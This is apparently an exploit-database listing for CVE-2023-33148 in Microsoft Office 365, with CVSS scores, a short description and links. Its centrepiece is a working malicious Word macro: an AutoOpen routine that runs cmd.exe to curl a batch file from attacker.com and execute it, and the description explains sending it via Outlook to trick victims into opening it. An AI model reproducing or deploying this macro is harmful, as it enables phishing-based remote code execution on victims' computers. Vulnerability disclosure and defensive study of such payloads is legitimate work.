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zdtNu11secur1ty1337DAY-ID-38891
HistoryJul 21, 2023 - 12:00 a.m.

Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege / Remote Code Execution

2023-07-2100:00:00
nu11secur1ty
0day.today
148
microsoft office 365
elevation of privilege
remote code execution
outlook
vulnerability
exploit
exploit server
cve-2023-33148
security

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.8 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

34.9%

## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
## Author: nu11secur1ty
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office
## Reference: https://portswigger.net/web-security/access-control
## CVE-2023-33148


## Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to
Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious
WORD file in the Outlook app which is a part of Microsoft Office 365
and easily can trick the victim to click on it - opening it and
executing a very dangerous shell command, in the background of the
local PC. This execution is without downloading this malicious file,
and this is a potential problem and a very dangerous case! This can be
the end of the victim's PC, it depends on the scenario.

## Staus: HIGH Vulnerability

[+]Exploit:

- Exploit Server:

```vb
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat
&& .\salaries.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html)

## Time spend:
00:35:00

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.8 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

34.9%